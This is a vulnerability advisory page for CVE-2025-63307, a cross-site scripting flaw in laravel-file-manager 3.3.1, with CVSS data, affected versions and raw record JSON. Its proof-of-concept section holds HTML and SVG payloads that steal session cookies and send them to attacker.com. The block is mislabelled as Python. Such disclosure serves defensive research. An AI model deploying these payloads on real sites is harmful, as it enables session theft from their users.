Security Vulnerability Report
中文
CVE-2025-63307 CVSS 8.1 HIGH

CVE-2025-63307

Published: 2025-11-06 16:16:14
Last Modified: 2025-12-08 16:14:47

Description

alexusmai laravel-file-manager 3.3.1 is vulnerable to Cross Site Scripting (XSS). The application permits user-controlled upload, create, and rename of files to HTML and SVG types and serves those files inline without adequate content-type validation or output sanitization.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:alexusmai:laravel_file_manager:3.3.1:*:*:*:*:*:*:* - VULNERABLE
alexusmai/laravel-file-manager <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-63307: laravel-file-manager XSS --> <!-- Upload this file via file manager or rename existing file to .html --> <!DOCTYPE html> <html> <head> <title>Malicious XSS Payload</title> </head> <body> <h1>CVE-2025-63307 PoC</h1> <script> // Steal session cookies var cookies = document.cookie; console.log('Stolen cookies:', cookies); // Send cookies to attacker controlled server fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies), { method: 'GET', mode: 'no-cors' }); // Display alert for demonstration alert('XSS Payload Executed!\nCookie: ' + cookies); </script> </body> </html> <!-- Alternative SVG payload --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert('SVG XSS - CVE-2025-63307'); document.location='https://attacker.com/steal?c='+document.cookie; </script> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63307", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:13.687", "lastModified": "2025-12-08T16:14:46.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "alexusmai laravel-file-manager 3.3.1 is vulnerable to Cross Site Scripting (XSS). The application permits user-controlled upload, create, and rename of files to HTML and SVG types and serves those files inline without adequate content-type validation or output sanitization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alexusmai:laravel_file_manager:3.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "882EFA1A-4C52-444F-A68C-28811B6677F1"}]}]}], "references": [{"url": "https://github.com/Theethat-Thamwasin/CVE-2025-63307", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/alexusmai/laravel-file-manager", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Theethat-Thamwasin/CVE-2025-63307/blob/main/POC-CVE-63307.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}